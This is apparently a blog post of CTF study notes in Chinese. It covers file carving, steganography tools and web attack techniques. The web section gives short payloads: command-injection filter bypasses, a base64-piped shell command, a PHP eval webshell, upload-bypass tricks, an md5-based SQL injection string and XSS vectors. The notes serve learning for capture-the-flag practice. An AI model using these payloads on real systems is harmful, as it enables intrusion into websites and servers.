一些ctf学习笔记

杂项

文件类型识别

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

文件分离

  • binwalk工具
    在这里插入图片描述

  • foremost
    在这里插入图片描述

  • dd
    在这里插入图片描述

在这里插入图片描述
例如:if= 后跟原文件 即1.txt是原文件,of= 是输出文件名,即要输出的文件为2.txt。bs是块大小(块长度),这里5就代表,12345为一块,count为块的数量,输出几个块。

  • winhexList item
  • 010 editor
    一个16进制编辑器
    在这里插入图片描述

文件合并

在这里插入图片描述
Windows下 合并文件DOS命令:

copy /B 文件名1+文件名2 合并文件名

文件内容隐写

在这里插入图片描述

图片文件隐写

  • Stegsolve
    在这里插入图片描述
    这个java程序,可以实现两张图片的加 减 或等操作,如果两张图片类似,可能做了这些操作后会发现一些新东西,注意有时做运算的顺序也很重要,比如减法操作,1-2和2-1得到的结果是不一样的。

  • zsteg工具
    在kali linux下使用,用来检测图片LSB(最低有效位)隐写,需要在线安装。输入命令:gem install zsteg 完成安装。检测LSB隐写命令:zsteg 图片文件名 。它会把所有可能隐藏的文本信息显示出来。

web

文件包含

  • 可以利用文件包含查看经过base64编码的php源码
    file=php://filter/read=convert.base64-encode/resource=xxx.php
    有关php://

命令执行

  • 空格被过滤,有一下几种绕过方式。
    ${IFS}替换
    $IFS$1替换
    ${IFS替换
    %20替换
    <和<>重定向符替换
    %09替换
  • base64
    使用base64解码和管道符进行输出
    echo Y2F0IGZsYWcucGhw | base64 -d | sh (Y2F0IGZsYWcucGhw是flag.php的base64编码)
    这个还不懂sh的用法,今后继续学习
  • 内敛绕过
    将反引号内命令的输出作为输入执行
cat `ls`

文件上传

  • phtml文件也可以执行PHP代码。

  • 过滤掉<?时,可以用<script language="php">eval($_REQUEST[a])</script>

  • 上传.htaccess文件,写法有很多种,最常用AddType application/x-httpd-php .jpg ,若有文件头检测,添加gif文件头GIF89a
    可以将jpg当成PHP解析。根据实际情况编写此文件内容

  • 上传.user.ini ,这个配置文件基于fastcgi,php5.3以上也是用这个cgi(一种网络接口)。在这个文件中写入auto_prepend_file=test.jpg,可以达到和.htaccess配置同样的效果来解析图片马。如果后台用exif_imagetype函数进行检测文件,可以添加文件头来绕过检测。

  • 空格绕过,抓包后,在扩展名后加空格

  • 后缀名大小写绕过

  • 点绕过,扩展名后加点 webshell.php.

  • Windows文件流特性绕过,抓包后,文件名改成webshell.php::$DATA,上传成功后保存的文件名其实是webshell.php

  • 点加空格绕过,抓包后文件名改为webshell.php. .

  • 突破文件二次渲染,但是需要得到渲染后的文件,对比hex,若某几段没有发生变化,则在该几段中写入木马。可能需要脚本帮助对比hex。gif渲染后变化最少,jpg几乎只有文件头相同。推荐使用gif

  • 突破文件重命名,利用条件竞争,用burp不断上传图片马,由于条件竞争可能有遗漏没有重命名。

代码审计

  • php中,md5(string,raw),raw的值为true和false,TRUE - 原始 16 字符二进制格式
    FALSE - 32 字符十六进制数。ffifdyop 经这个函数后,值为276f722736c95d99e921722cf9ed621c,再转化为字符串就会乱码 'or'6<乱码>。比如select * from 'admin' where password=md5($pass,true),pass值为ffifdyop,就会造成select * from admin where password=''or ture
  • md5弱类型比较md5($a) == md5($b),0e开头即可,列两个QNKCDZO 240610708,0e开头md5值
  • php中涉及读文件时,可以使用data:// 伪协议
echo file_get_contents('data://text/plain;base64,ZmxhZw==','r'); #flag(ZmxhZw==)

XSS

  • 利用onfocus属性,标签获取焦点时起作用,onfocus=javascript:alert('xss')
  • 构造a标签 <a href=javascript:alert('xss') > xss</a>
  • 双写绕过
  • 没有进行实体转义的,ASCII转Unicode绕过
  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值